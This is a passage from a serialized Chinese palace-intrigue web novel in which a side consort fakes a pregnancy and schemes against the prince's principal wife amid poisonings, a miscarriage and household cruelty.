云清婳摇摇头,“妾身穿得厚,没事的。” “怎会没事?这么大的事情,你怎么不跟本王说?”裴墨染旁若无人地将她搂进怀里。 她瘦得很,人又娇气,他真怕她在台阶上把脖子扭断。 云清婳很满意训狗成果。 她的感觉没错,狗男人有六分上心了。 看到这一幕,有人震惊,有人恨得牙根痒痒。 赵婉宁、崔夫人五官扭曲。 “王爷,臣妾也不想冤枉云妹妹,可是得给枉死的孩子一个交代啊。”赵婉宁痛心疾首地说。 裴墨染的心里漠然升起一股火气,“查!” “是。”贴身太监带人去询问婢女。 赵婉宁冲婆子使了个眼色,婆子故意把被打肿的脸对着裴墨染。 裴墨染当即猜出了赵婉宁的小心思,他冷声问:“你的脸怎么了?” 这个婆子是府里的老人了。 他有印象。 婆子跪下,“是云侧妃打的,云侧妃说王妃没资格处置她。” “都什么时候了,这种小事就别说了!”赵婉宁茶兮兮地斥道。 裴墨染扭过头,瞪了云清婳一眼,只是并没有动真格,毫无震慑力。 赵婉宁绣眉一横,严肃地说:“云妹妹,事情闹成了这样,总得有人站出来承担。你的说辞,我愿意相信,可皇后娘娘呢?” 崔夫人哭得一抽一抽的,“王爷,求您还咱们的孩子一个公道!云清婳杀了我们的孩子!她不推我,我怎会出事?” “大家都看见了,妾身也跌下台阶了,妾身怎会铤而走险?”云清婳慢条斯理地说。 崔夫人冷哼,“云清婳,你早就想好这个说辞了吧?故意使点苦肉计,就想洗脱嫌疑?难道撞我的人不是你?我的孩子该死?好!那我也咒你跟我一样……” “住口!”裴墨染低斥。 云清婳突然就怒了,“崔夫人,你说话未免也太难听了!你真该为孩子积点阴德。” 赵婉宁看着云清婳被激怒,自乱阵脚,忍不住勾起了嘴角。 没成想,云清婳也是个沉不住气的。 裴墨染递给云清婳一个眼神,她的话也是有点过分了。 飞霜忍不住道:“主子是万万不会使苦肉计的,因为主子也怀孕了!主子可没空陪着崔夫人闹。” 此话如同平地惊雷,一时之间,屋中落针可闻。 裴墨染原本沉重的脸色霍的变得惊喜。 而赵婉宁、崔夫人像是受到了惊吓,脸都绿了。 “蛮蛮,你怀孕了?”裴墨染眼底迸发出笑意,他拉着云清婳的手,“你为何不跟本王说?” “妾身也是最近才知道的,”云清婳说着,瞥了眼床榻上的崔夫人,“而且崔夫人失了孩子,我这时候报喜,岂不是在她伤口上撒盐?可她诅咒孩子,妾身就忍不下了。” 裴墨染厌烦地瞥了眼崔夫人,“她的话当不得真。” 云清婳在心里暗叹狗男人的无情。 别人才流产,他居然现在就在庆祝又得到了个孩子。 这得有多扎心? 榻上,崔夫人呼吸急促,像是快要气晕过去。 裴墨染召了太医来,给云清婳把脉。 “怎么样?方才云妃跌下台阶,没事吧?”他死死盯着太医,似乎给出的答案不满意,就要杀头。 太医将丝帕覆在云清婳的手腕上,按住她的脉搏,屏息凝神。 他苍老的眼角堆满了皱纹,脸色变幻莫测。 这让云清婳不禁心虚。 太医院的太医有两把刷子,不会看出她服用了假孕药吧? 他沉下脸,“王爷,云侧妃已经将近三个月的身孕,胎像还算平稳,但她跟崔夫人的体内有寒药,此药喝久了体寒,孕妇必会流产,平常妇人喝了也会不孕不育。” “什么?妾身不会也中招了吧?”魏娴倒吸了口凉气。 太医又给魏娴把脉,他浑浊的老眼瞪得浑圆,“夫人的体内的确也有此药!” “又有人作乱!”裴墨染咬牙切齿。 赵婉宁的脸抽搐着,她双腿瘫软,就快要站不住。 多亏青樱将她扶住。 她分明没给魏娴下药,魏娴的毒是哪儿来的? “王爷,妾身没有贪嘴,没有乱吃东西。”云清婳连忙解释。 裴墨染安抚性地轻拍她的肩膀,他沉声道:“严查!” “是!”贴身太监跟万嬷嬷带人去查。 赵婉宁的脸色登时惨白。 崔夫人恶狠狠地睨着赵婉宁,双手缓缓攥住。 “等等,为何崔氏被下了寒性药,这一胎就流产了,云妃却没事?”裴墨染一边的剑眉高高挑起,眼中满是杀伐果决的寒意。 太医颔首,“崔夫人的身子不如云侧妃,她这一胎,早就如同雨中灯、风里烛。若是没猜错,崔夫人应该见过红。” 崔夫人瘫坐在榻上,有种心机被发现的无力感。 “什么意思啊?”云清婳毕竟是清纯小白花人设,还是得装傻的。 飞霜愤愤不平道:“原来崔夫人早就知道这一胎会流掉,所以趁机攀咬我们主子!要不然为何我们主子摔下台阶没事?您却有事?毕竟您不是第一次自导自演了!” “啊?”云清婳捂着嘴,一脸震惊,“崔夫人,你怎可利用孩子?” 裴墨染对云清婳更心疼了。 她不是不聪明,而是太善良单纯,所以不愿相信有人会利用肚中孩子做文章。 “呜呜呜……”崔夫人心机败露,害怕、绝望地哭了出来。 裴墨染看她的眼神满是厌恶,他讨厌心计深厚的女人,更讨厌算计他的女人。 真是令人感到恶心。 原本对崔氏的最后一丝怜惜,也荡然无存! 倘若蛮蛮这次没有怀孕,根本无法洗脱嫌疑。就算他不追究,可谋害崔氏的罪名也会扣在蛮蛮身上一辈子! “崔氏,你好生养病吧。”他讥讽地说了一句,带着云清婳离开。 临走前,裴墨染好似想到什么,他回头瞪着婆子,“幸亏你的脏手没碰到云妃,否则本王定会把它们剁了。” 赵婉宁心跳如鼓点,后背不住地冒着虚汗。 …… 玄音阁。 裴墨染抱着云清婳转圈,眼底尽是喜色,“蛮蛮,我们有孩子了!” 失去一个孩子后,他又得到了蛮蛮的孩子。 这种失而复得的喜悦,没人能及。 本来心情已经跌入了谷底,本来已经做好了前功尽弃的准备,可蛮蛮却又给了他。 这种苦尽甘来的感觉,不亚于打了场胜仗。 四下的婢女都不由得笑了。 她们还是第一次见到王爷如此稚气。 “妾身头晕,您别转了。”云清婳扶着额,五官拧着。 第63章 赵婉宁闹笑话,王爷后悔娶她 裴墨染凝眉,连忙将她抱去榻上,“都是本王不好,本王太高兴了。” 云清婳靠在床头,她娇嗔着,“您又不是第一次有孩子,至于吗?” “至于!这是本王跟蛮蛮的孩子,这是不同的。”他伸手抚摸着她的小腹。 她的手主动覆在他的手背上,“夫君,妾身方才好感动,因为您没有怀疑妾身。” “蛮蛮,以前都是本王不好,让你受委屈了。”裴墨染回想起从前的种种,他有些窒息。 从蛮蛮嫁进门的第一天,就不停地受委屈。 倘若早些认识蛮蛮,或许他就不会…… 可惜没如果。 “夫君,妾身好害怕,将来会跟崔夫人一样……”她的话还未说完,他就捂住她的嘴。 裴墨染蹙眉,双目灼热,正色道:“蛮蛮,本王会保护你,也会保护咱们的孩子。日后府里上上下下,本王会找人看着,没人能害到你。” 今日的事,有两个疑点。 一个是,谁推了蛮蛮。 另一个是,何人给她们下了药? 她靠在他怀里,仿佛找到了世间唯一的依靠,“夫君,妾身相信您。” 裴墨染捏捏她的脸蛋,眉眼别样的温柔,“日后我们私下说话,不必这样,随意些。” “我知道了。”她抬起笑脸,满含爱慕地望着他。 四目相对,脉脉的情意,在二人之间流动得汹涌。 就在这时,飞霜端来了安胎药,酸苦的药味飘在空中。 云清婳嫌弃地捏住鼻子。 “主子,这是太医开的,您可不能躲。”飞霜噘着嘴。 她摆摆手,“我一会儿喝。” “本王来吧。”裴墨染无奈地接过药碗,他用瓷勺舀了一勺汤药,吹了吹,喂到她唇边,“听话,都是当娘的人了。” 云清婳不情不愿地张开嘴。 她就是故意作的。 只有让裴墨染真切地照顾她跟孩子,为孩子付出,将来失去的时候才会感到悲痛啊。 他轻声问:“今日王妃可曾为难你?” 云清婳缓缓摇头,“王妃也是爱重您。” “你今日做得很好,别让旁人伤了你。”他在她的额前落下一吻。 裴墨染喂她喝完安胎药,又将人哄睡才离开。 走之前,他俯下身,在爱怜地在云清婳的额上落下一吻。 等脚步声彻底消失,云清婳倏地睁开双眼,“今日的事,你可发现不对?” 飞霜脱口而出:“魏娴。” 她颔首,“是啊,赵婉宁只给我跟崔氏下了药,为何魏娴体内也有药?” “要么是别人下的,要么是她自己下的。”飞霜分析。 “如果是别人下的,那幕后黑手十有八九是沈沁。如果是魏娴自己下的,这就有趣了。”云清婳的娇俏的脸蛋露出一丝寒意。 魏娴这一举动,会让裴墨染对赵婉宁、沈沁这两个嫌疑人心怀芥蒂。 一石二鸟! …… 夜幕降临,贴身太监跟万嬷嬷终于搜出了眉目。 书房。 “王爷,露台的洒扫婢女承认了,她说她脚滑,不慎撞到了云侧妃,但她害怕责罚,不敢承认。”贴身太监道。 裴墨染冷嗤,“你信吗?” “那婢女嘴巴严得很,奴才再用用刑,或许明日就招了。”贴身太监跪地求饶。 万嬷嬷接着说:“老奴跟府医发现,云侧妃、崔夫人以及魏夫人院中的井水被人下了药。药性虽弱,但常年用水烹茶、洗衣、洒扫,贵人沾上后,迟早会败了身子。” 裴墨染的脸仿佛被一层阴霾掩藏,他沉默了良久,才启唇:“万嬷嬷,你还查到了什么?” 万嬷嬷心疼地看着他。 她自然知道王爷心中在想什么。 即使赵婉宁一次次地让他寒心,可在西北的两年相处是真实存在过的。 两年时间,就算养条狗也会有感情,更何况是并肩作战的情谊? 尽管他对赵婉宁不复从前,可终归还是期望她变好的。 “沈夫人跟王妃的院子里没有水井,所以二人身上没有查出有毒。”万嬷嬷如是说道。 裴墨染松了口气,可心里还是如同被巨石压着。 幕后黑手只剩下沈沁跟赵婉宁。 赵婉宁的嫌疑,仍旧没有被排除啊。 “还有一件事。”万嬷嬷欲言又止,“就是,就是……” “万嬷嬷,但说无妨。”裴墨染摆摆手。 万嬷嬷纠结地开口:“方才太医给王妃把了脉,太医说王妃宫胞寒凉,恐怕极难有孕。” 裴墨染的脸色一黯,他难以置信地问:“什么?” “唉……”万嬷嬷垂下头,冗长地叹了口气,“恐怕这会儿,宫里也知道了。” 裴墨染的手攥得咔咔作响。 这可是一等一的丑事! 传到宫中,母后震怒不说,其他兄弟也会嘲笑他,娶了一个不会生孩子的王妃。 他的颜面何存? 裴墨染知道不能怪赵婉宁,可是怎能不怨? …… 这件事,很快传进了玄音阁。 “呵呵……她想把事情闹大,让我被皇上处置,却没想到是搬起石头砸自己的脚!”云清婳笑着笑着,眼角坠下了一滴泪。 姐姐,离报复你的第一个仇人,越来越近了。 飞霜眼中的幸灾乐祸根本藏不住,“现在好了,全天下都知道她不能生了!” 换在现代,不能生,对女性来说或许是好事。 但在封建古代,这绝对是奇耻大辱! 裴墨染这样爱面子的男人,一定很在意! “这次得换咱们进攻了,我要好好耍她玩,让她歇斯底里、让她抓狂愤怒。”云清婳的语气很轻松,可颤抖的双臂暴露了她的愤怒。 飞霜扑哧笑出了声,她无比期待赵婉宁被气疯。 …… 翌日,裴墨染退朝后,被睿王党派一顿羞辱。 睿王记恨裴墨染、云清婳害虞贵妃被软禁,如今抓住报仇的机会,他自然不会放过。 他当众打趣裴墨染是不是娶了个男人,要不然为何不会生孩子。 一呼百应,当场退朝的皇子、官员都笑了。 无数幸灾乐祸的目光落在裴墨染身上,四面八方的恶意几乎要把他点燃。 别说裴墨染,就连同路的裴云澈都觉得丢脸。 之后,皇后传召了裴墨染去翊坤宫,将他一顿训斥。 裴墨染抬不起头,只能嘴硬地说:“婉宁只是难以受孕,并不是不能生育,本王不后悔。更何况,蛮蛮已有身孕。” 皇后的脸色变幻莫测,她沉下脸,柔声怨怼:“倘若你当初娶了清婳,何至于此?如今不仅你丢脸,就连云澈跟本宫也抬不起头。当初都劝你别娶,可你偏要娶。你父皇若是问罪下来,你该怎么说?” 裴墨染也觉得打脸。 可如今说自己后悔,更会招人笑话。 “儿臣会想办法治好王妃。”他字字铿锵,听起来信心十足。 皇后恨铁不成钢地将茶盏砸在桌上,“你就嘴硬吧。” 而一旁的裴云澈却心不在焉。 蛮蛮有了两个多月的身孕,他是知道的。 可算着日子,岂不正是中秋宫宴那晚? 孩子或许是他的…… 思及此,他的心脏强健有力地跳动。 第64章 良心发现,想抬蛮蛮当平妻 晚上,天上飘下鹅毛大雪。 云清婳将一张纸条烧掉,她的脸上闪过鄙夷,“裴云澈果然怀疑孩子是他的。” “主子,裴云澈的耳目还在外面候着,咱们应该怎么回他?”飞霜问。 她将窗牗扑哧阖上,“不回应,便是最好的回应。裴云澈生性多疑,倘若我上赶着让他当爹,他定会怀疑。” “还是主子聪明。”飞霜称赞。 庭院里响起了沉稳的脚步声,院中的积雪被踩得噗呲噗呲响。 裴墨染没有撑伞,大步流星地走进寝殿,他穿着一袭威严的玄色纹绣锦袍,肩上落了不少雪,周身被阴鸷裹胁,一副生人勿近的气场。 他棱角分明的轮廓深沉而森冷,深邃的脸眉飞入鬓,薄唇殷红,双目尖锐如弯刀,带着一股不容忽略的暴戾。 一路上,所有婢女都识趣地屏息凝神,俯首跪下,生怕得罪了他。 云清婳远远看到裴墨染起,便猜到了他的滔天怒意。 但她佯装不知,笑吟吟地小跑上前,“夫君!” 裴墨染看见她的一刹那,眼底的冰雪消融,狠厉的眸子变顿,触及她的小脸时逐渐温柔。 就在云清婳要扑进他怀中时,他伸手按住她的肩,语气淡淡的,“本王身上有寒气,别冻着你。” “我又不怕。”她眼中滚动着水光,鼻尖泛红,似乎因为被拒绝感到委屈。 裴墨染的心头一软,原本烦躁的心绪瞬间被抚平,“都是当娘的人了,别跑来跑去。” “嗯。”她乖巧地应声,圆润的眼眸清澈。 他将外袍脱下,递给贴身太监,他走到火炉前,搓了搓手,等手烤热了,才去牵她的小手。 “夫君下职晚了?可用膳了?”云清婳心疼的看着他。 裴墨染浑身被阴郁纠缠,始终面无表情,他不咸不淡道:“未曾。” 云清婳立即吩咐人备晚膳。 她又陪裴墨染吃了些。 今夜的裴墨染分外沉默,二人洗漱后,便上了榻。 裴墨染目光炯炯,毫无睡意。 云清婳自然听说了睿王一党的言论。 什么裴墨染用军功换来了个男王妃、裴墨染口味独特云云…… 可偏生他操着开玩笑的口吻,但凡裴墨染反嘴,他就可以说裴墨染心胸狭隘,开不起玩笑。 她将脸贴在他的胸口上,安安静静地抱着他。 裴墨染嗅着她身上的清香,心神逐渐安宁。 他想,蛮蛮或许是知道了朝前的事,所以今日才如此谨小慎微。 “蛮蛮,宫里的事,你知道了?”他捏捏她的脸蛋。 “妾身素来不爱打听,不知道夫君指的是什么。”云清婳道。 封建男人绝对不喜欢干政的女人。 她必须得装作天真烂漫,什么都不知道。 裴墨染心想,也对,蛮蛮向来安分,从不会把手伸得那么长。 “为何不问本王?”他道。 云清婳支起身子,小鹿般清澈的眸不掺杂质,“夫君想说,自然会跟蛮蛮说。” 他的心像是受到了重击。 一种后悔感以排山倒海之势压了过来。 蛮蛮贤惠、乖巧、体贴,让他甘之若饴。 而婉宁善妒、自私、桀骜,根本不像一个王妃! “夫君,您开心些。”云清婳拉着他的手,贴在小腹上。 裴墨染轻抚着她的小腹,内心复杂。 当年,或许他真的错了,不该一意孤行,迎娶婉宁。 “蛮蛮,王妃难以有孕,所以本王有些忧心。”裴墨染苦涩地说。 云清婳一惊,随后露出心疼、怜悯的表情,“夫君,您应该去安慰王妃的。” 他的心化成了一滩水,“别劝了,你总是想着别人。” 他不想见赵婉宁,他怕一见到赵婉宁,就忍不住埋怨她、训斥她! 这些日子,一桩桩一件件的阴谋诡计,虽然没有证据,但真的跟赵婉宁无关吗? 他不想损了他们之间最后的情分。 “我去问问表哥,兴许表哥有认识的神医能给王妃医治。”云清婳道。 裴墨染如同死灰的心一刹那又燃起了希冀,“江培玉走南闯北,见多识广,兴许真有办法。本王要多谢蛮蛮了。” “我不要夫君谢我,我只希望夫君能更疼我,更疼孩子。”她娇嗔。 他的双臂收紧,将人紧紧箍在怀里,“本王最疼蛮蛮了,蛮蛮怀了本王的长子,待孩子生下来,本王重重有赏。” “蛮蛮不要赏赐,夫君将来多陪陪孩子就好。”她扬起脑袋,唇瓣在他的下巴上飞快地啄了一下。 裴墨染的心一阵悸动。 他不住地畅想到了将来,蛮蛮生了长子,他一定亲自教养,教孩子习武射箭,让他无忧无虑。 若是生了女儿,宫中肯定会失望,但是也无妨,他也会喜欢。 女儿一定会随蛮蛮,漂亮可爱,他也想亲自教养,让女儿文武双全,成为全天下最无忧无虑的女娘。 思及此,他觉得应该让孩子的身份更尊贵些。 一个念头冒了出来,他想把蛮蛮抬为平妻…… 但这个想法,他暂时不打算说出来。 他怕兑现不了,平白让人失望。 …… 赵婉宁不孕的消息不胫而走。 短短几日,就在官宦圈子里传开了。 清心阁。 赵婉宁砸了一地的花瓶,她又随手指了个婢女拖进房中打了一通。 青樱害怕婢女的哭喊声传出去,还用帕子紧紧塞住婢女的嘴。 等人半死不活,赵婉宁打累了,青樱才安排人将婢女拖回下人房。 其他婢女战战兢兢,满头大汗,看赵婉宁的眼神就像在看一头猛兽。 “呜呜呜为何崔夫人能怀,云贱人也能怀,就我怀不了?我才是王爷的正妻啊!”赵婉宁捏着帕子,凄凄地哭。 青樱俯下身,安慰道:“王妃,您别多想,太医只是说难以受孕,又没说不能怀孕。别忘了,您有太后的药方啊。” 她的话给了赵婉宁莫大的安慰。 赵婉宁像是找到了主心骨,她颔首,“对,对……一定是太医夸大其词!说不定他是睿王派来害我的,我的身子明明已经被治好了。” 七年前,她一穿越过来,就发现自己身怀六甲。 原主十四岁被山贼糟蹋后,一直不敢跟亲爹和继母说,等到发现时,为时已晚,原主不想给家族蒙羞,于是选择上吊自尽。 她穿越后,认为自己是现代自强自立的女性,不怕封建压迫,于是选择生下孩子,去父留子。 幸好,原主的爹跟继母都是好人,帮她掩盖。 可十五岁的身子尚未发育完全,所以生产后,落下了一身的病! “云清婳这个贱人!现在应该很得意吧?”赵婉宁咬牙切齿,恨不得啖其肉喝其血。 门外,裴墨染、云清婳正欲推门就听见这句咒骂。 裴墨染的眸子一缩,下意识看向云清婳。 云清婳的眼圈登时红了,眼中泛着水光,“妾身还是走吧。” 他抓住她的手,与她十指相扣。 砰—— 裴墨染一脚将门踹开。 门外的光泄进了寝殿。 赵婉宁看见门外之人,露出了笑。 可裴墨染的下一句话,却如同一记耳光,狠狠甩在她的脸上。 “王妃,你可有教养?言辞粗鄙,乖张暴戾,妇容妇德你做到了哪一点?”他面目阴沉,不急不缓地斥责,威压之势铺天盖地席卷而来。 第65章 她要逼疯赵婉宁 赵婉宁的脸由喜转悲,眼底充满惊恐,“臣妾失言,臣妾失言……” 青樱跪地磕头,身板不住地瑟缩,“还请王爷恕罪!王妃只是太想为您绵延子嗣,所以才口不择言。” “臣妾只是太羡慕云妹妹了,臣妾也想为您生儿育女啊。”赵婉宁的眼泪大颗大颗坠下,狼狈不堪。 裴墨染升起了一丝怜悯,他的眼眸微眯,不愿再追究,“王妃,给蛮蛮道歉。” “……”赵婉宁难以置信的看着眼前的人。 从前,她就算拿剑割云清婳的脖子,裴墨染也不会计较啊。 他为何变得如此陌生? 他难道忘了他们在西北的两年?忘了他们曾经的恩爱? 云清婳抚摸着平坦的小腹,眼底含着挑衅,质问道:“王妃,您为何觉得妾身卑贱?” “……”赵婉宁磨着后槽牙,恨不得抓花她的脸。 她冷着脸,稍显咄咄逼人,“妾身是相府嫡女,更是皇上亲自赐婚的侧妃,妾身哪里卑贱?难道就因为您先认识王爷,妾身就比您卑贱了吗?” “假如王爷当年不曾离京,身处西北的您一定不是正妃,妾身更不会是侧妃。” 云清婳有史以来,放了第一次狠话,直击红心点明赵婉宁出身低微。 这段话可以称得上刻薄、狂妄、放肆! 但皆是事实。 飞霜、贴身太监都吓得跪地。 赵婉宁被羞辱了一通,她再也忍不下去,“云侧妃,你终于装不下去了!我好歹也是肃王妃,你就如此拿你的家世欺压我?” 裴墨染一瞥,就发现云清婳在抹眼泪。 哪还有半分方才的威风? 他心疼不已,忙不迭给她拭泪,“何必把她的话当真?若是动了胎气就不值了。” 看到这一幕,赵婉宁气血上涌,怒火攻心,脚步虚浮,一下子跌倒在地。 “啊……王妃……”青樱惊呼一声,想引起裴墨染的注意。 “婉宁……”裴墨染见人摔倒,正要上去扶,可云清婳哭着扑进他的怀里,紧紧抱住他的窄腰。 他的身子一僵。 最终还是没有选择赵婉宁。 看到二人相拥,赵婉宁的喉头感到一阵腥甜,就像有什么东西堵在胸口,想吐却吐不出来。 没等来裴墨染,青樱只好尴尬地将赵婉宁搀扶起来。 青樱趁机给赵婉宁挤挤眼。 “王爷,臣妾知道错了。云妹妹,对不住,是我口不择言。”赵婉宁一脸虚弱,她用起了苦肉计。 裴墨染终究是心软了,他无奈道:“婉宁,日后注意言行,莫要意气用事,损了风度。亏蛮蛮还替你寻医问药,寻找神医。” 赵婉宁的眼底一片复杂。 云贱人应该不敢在王爷面前弄虚作假。 “可是真的?”赵婉宁瞥着云清婳,高傲的伪装下藏着隐隐期待。 云清婳的嘴角勾出一抹妖冶的弧度。 她就是要耍赵婉宁,让赵婉宁愤怒、崩溃、嫉妒…… 因为,人只有在崩溃、气愤、失望中,才会做出不理智的事。 “妾身从表哥那里认识了一位女神医,她一定可以调理好您的身子。”云清婳不咸不淡道。 “是何人?在何处?”赵婉宁沉不住气地追问。 云清婳长叹了一声,“那位神医喜欢四处云游,恐怕不好找啊。但是她妙手回春,听说曾经让一对年近五十的夫妇生了儿子,天下恐怕只有她能医治您了。” 这么一说,吊足了胃口。 赵婉宁祈求地看向裴墨染,“王爷,您会为臣妾找到女神医是吗?” “嗯。”裴墨染颔首。 “云妹妹,你快说吧!是谁?叫什么名字?医馆在何处?”赵婉宁的眼角眉梢舒展开,她仿佛找到了新的希望。 云清婳咧开嘴,笑容有几分阴森,她一字一顿:“她叫,谢、容、音。” 话音刚落,赵婉宁的眸子一颤。 裴墨染也不禁蹙眉。 这名字,有点耳熟,但是想不起来了。 “夫君,您快些派人去找吧。”云清婳晃了晃他的胳膊。 裴墨染颔首,“嗯。” 赵婉宁的脸一寸寸黯了下去。 谢容音!? 能治好她的人,居然是谢容音! 可谢容音已经死了! 当初她的病还没这么严重,根本没考虑这么多。她担心谢容音会抢走裴墨染,所以一逮住机会就派人轮了谢容音…… 一种复杂的情绪拉扯着赵婉宁脑袋中的最后一根弦,她的理智之弦,快要绷不住了。 遗憾、痛恨在心中交加,让她气得想哭。 在裴墨染看不见的角度,云清婳冲赵婉宁翻了个白眼。 赵婉宁正是郁闷至极的时候,心脏仿佛被烈焰灼烧,她怎能忍受云清婳不敬? 她正欲告状,云清婳却惊恐地撞进裴墨染的怀里,“啊……夫君,我怕。” “怕什么?”裴墨染将她搂进怀中,不解地问。 云清婳伸出食指,颤抖地指着地板,“血。” 地毯的边角上,晕染了一片淡淡的血渍。 “这是怎么回事?”裴墨染的剑眉一蹙,冷声问。 赵婉宁的唇瓣一抖,嘴张张合合,半晌也没吐出一个字。 青樱不紧不慢道:“是奴婢给主子切苹果,不小心划破了手。” “……”裴墨染懒得深究,他牵着云清婳的手转身就走。 可到了门口,好几个婢女故意将脸上的划痕对着他,有的人将衣袖捋了起来,露出胳膊上大片青紫的掐痕。 她们别无选择了! 若是再不反抗,下一个被打得半死的就是她们。 “你们……”云清婳似乎被吓到,惊恐地后退。 裴墨染也很是震惊。 这些伤是怎么来的,不言而喻。 就算是他,也不曾拿下人泄愤。 因为下人也是人,都有血有肉,都是大昭的子民。 他突然觉得赵婉宁好陌生,她何时变得如此面目可憎? 裴墨染转身,他看着赵婉宁,眼中除了惊讶,更多的是失望。 赵婉宁的心都要碎了,她知道裴墨染心存正义,素来厌恶仗势欺人,“王爷,王爷……” 贱人! 云清婳一定是故意引王爷看到的! “呵。”云清婳的眸中分明含着笑。 她看着赵婉宁,就像在说:我就是故意的,你来打我啊。 “王爷,王爷……”赵婉宁说了半天,也没说出个所以然。 “王妃,你凌虐下人,毫无怜悯之心,若是传出去,本王岂不是也成了昏庸暴戾之人?父皇以仁政治国,你想害本王被父皇厌弃吗?”裴墨染斥道。 赵婉宁的身形一颤,眼泪又掉了出来,“王爷,臣妾,臣妾怎舍得害您啊?” “够了!你若是不知道如何当一个称职的王妃,自会有人顶上。”他痛心的放出狠话。 第66章 在底线边缘疯狂试探 “不,不……臣妾会好好反省,臣妾会改的。”赵婉宁跪在地上,涕泪横流地磕头求饶。 她不能失去王妃的位置,她将来是要当皇后的! 裴墨染只觉得烦,不想再看见她。 他让府医给这些婢女看病,给了些赏赐,之后又给清心阁换了一批婢女。 这些婢女都是万嬷嬷的人,如若赵婉宁敢造次,万嬷嬷必不会袖手旁观。 赵婉宁如同活在监视之下,她当日气得呕出了一滩血。 …… 裴墨染陪云清婳回了玄音阁。 “王爷恕罪,方才妾身口出狂言,冲撞了王妃。”云清婳正欲跪下,她的膝盖才微屈,就被裴墨染扶住。 裴墨染将她抱去了贵妃榻躺着,心中最后一丝不悦早就烟消云散。 他早就知道文人的嘴厉害,骂人不带脏字。 方才蛮蛮的话完全是往赵婉宁的心口捅刀子,杀人不见血。 但他怪罪不了,因为蛮蛮没错。 “方才是王妃出言不逊在先,蛮蛮觉得委屈才争辩罢了,不怪蛮蛮。本王答应过你,你可以生气,本王还记得。”他望着她的双眸。 云清婳扬起俏丽的脸,双眸噙着晶莹,感动地望向他,“夫君……” 裴墨染刮了下她的鼻尖,柔声问:“安胎药可喝了?” “夫君喂我。”她撒娇道。 “本王就知道你怕苦。”裴墨染宠溺道。 他亲自喂她喝下药后,将她圈在怀中。 跟蛮蛮在一起,即使什么都不做,也会让他觉得趣味横生,身心松快。 云清婳的上半身慵懒地靠在他怀里,手里捏着针线,给孩子绣起了肚兜。 “当心扎着手,这种事交给绣娘做就行。”裴墨染的唇有意无意地擦过她的脸颊。 她瞥了他一眼,娇娇气气地说:“不行,我给孩子绣的,跟绣娘绣的岂能一样?我还做了虎头鞋跟虎头帽呢。” 飞霜立即将绣篓里的鞋帽呈上来。 裴墨染拿着一对虎头鞋把玩,它们很小,连他的掌心都占据不满,可爱极了。 他的眼神倏而悠远,像是想到了什么,嘴角不知不觉勾起了一抹笑。 他仿佛已经看见了他跟蛮蛮的儿子,穿着虎头鞋蹒跚学步。 云清婳看着裴墨染向往的表情,眼神闪过狡黠。 男人跟女人不同,孩子出生前,男人跟胎儿没有连接,所以对胎儿并不会产生多么深厚的感情。 只有无限拉高裴墨染的期待,让他参与其中,不断付出,失去“孩子”时,他才会痛苦、难过、愤怒! “蛮蛮,我们的儿子,本王定会亲自教养。”裴墨染郑重的承诺。 云清婳敷衍地应了一声。 这让裴墨染有点受挫,蛮蛮听不懂他的弦外之音吗? 他们的儿子,他会尤其重视。 但裴墨染又想到她不慕名利,根本不在乎这些殊荣,当下更心疼她了。 他看着她雪白的颈子,有些口干舌燥,他情不自禁地在她颈后落下一吻。 云清婳的身躯条件反射般的轻颤,她的双颊晕开一抹红霞,作势要下榻,“您坏死了!讨厌!” 裴墨染嗤嗤地笑了,他攥住她的双手,低下头,吻住她的唇瓣。 “唔……”云清婳起初抗拒,可后来渐渐软了身子,瘫倒在他怀里,任他索取。 二人在屏风后吻得难舍难分。 裴墨染其实很抵触亲吻,他觉得脏。 那些女人,他一个都不曾亲过,每次都是例行公事。 可亲吻蛮蛮,每次都是情不自禁,让他欲罢不能。 突然一阵咳嗽传来。 云清婳吓得一惊,慌忙狠推了下裴墨染的脸。 裴墨染的脸被推得一偏,他被扫了兴致,很不悦。 他理了理衣袍,正襟危坐,咬牙切齿道:“何事?” “王爷,清心阁那边已经安排好了。”万嬷嬷福身。 裴墨染察觉是万嬷嬷,语气缓和了几分,“本王相信你,退下吧。” 他斜眸,看见躲在他身后,脸蛋通红的云清婳时,心都软了,他伸出手,故意用掌心的茧子磨她的脸。 万嬷嬷没动,站在原地,欲言又止。 “万嬷嬷还有事?”他问。 “咳咳……”万嬷嬷有些难以启齿,“王爷,云侧妃怀胎不到三月,正是胎儿不稳之时,要克制啊。” 此话一出,云清婳当即把小脸埋到他的背上,没脸见人了。 裴墨染想笑,又觉得无奈,“知道了。” “胎儿得之不易,王爷跟云侧妃一定要当心,民间妇人怀孕,夫妻都是分房睡的。”万嬷嬷又晦涩地提了个醒。 “知道了。”裴墨染见身旁的小女子都快羞死了,他赶忙催促着万嬷嬷离开了。 “都怪你!裴墨染,你真的是坏蛋!羞死了,我日后还怎么见万嬷嬷?”云清婳的眼中闪着晶莹的光,粉嫩的唇瓣撅着,惹人怜惜。 裴墨染并不会怪罪,她唤他名字时,别有一番风情,让他喜欢得紧。 他哄她,装作懊恼:“本王还气呢,难道本王像是昏庸重色之人?万嬷嬷至于这么警惕?” 她抬起眼皮看他,眼神是明晃晃的嫌弃,“您像!” “哪里像?旁人不知道,你还不知道?”裴墨染歪曲事实。 云清婳的小嘴半张着,似乎被他的不要脸给震惊到。 他每次一折腾就折腾大半夜,难道不重欲? 裴墨染看着她震惊的小表情,觉得又傻又可爱,他继续颠倒黑白:“本王向来清心寡欲,要不是为了蛮蛮早日怀孕,本王才不愿辛苦。” 云清婳的眼睛瞪得更圆了。 表情就像在说,每次在榻上,死皮赖脸求着她的人是谁? 怎么成她的错了? 云清婳拉着他的手,狠狠咬了一口。 “嘶……”裴墨染都被她突如其来的举动惊到。 她咬得使劲,但裴墨染皮糙肉厚,痛感不算强烈。 云清婳咬了一会儿,觉得解气才松了嘴,他的手背上当即印出了一圈整齐的牙印。 “蛮蛮,你属狗的?”裴墨染并没有生气,甚至还打趣她。 确定裴墨染没有生气,云清婳松了口气。 方才也只是试探,她想要看看,裴墨染给她的偏爱究竟有多少。 “哼!我就是属狗的啊。”她得意地扬起下巴。 裴墨染哑然,他瞪了她一眼,“待孩子出生,本王再收拾你。” 她像是吓到了,立即扑进他怀里,耍赖撒娇:“夫君是蛮蛮见过最英勇大义、宽宏大量的英雄,您怎会跟蛮蛮计较?” 没有人不喜欢被捧着。 更何况是缺爱的人? 赵婉宁素来傲慢,就算喜欢裴墨染,但也不肯流露出崇拜。 裴墨染对云清婳的夸奖很受用,他的心飘飘然。 这一刻,他感觉到他对蛮蛮的喜欢汹涌得要溢出来。 他望着她的双眼,也想得到她的回应,“蛮蛮,你可心悦本王?” “……” 云清婳当然不会给出答案,她就是要钓着他。 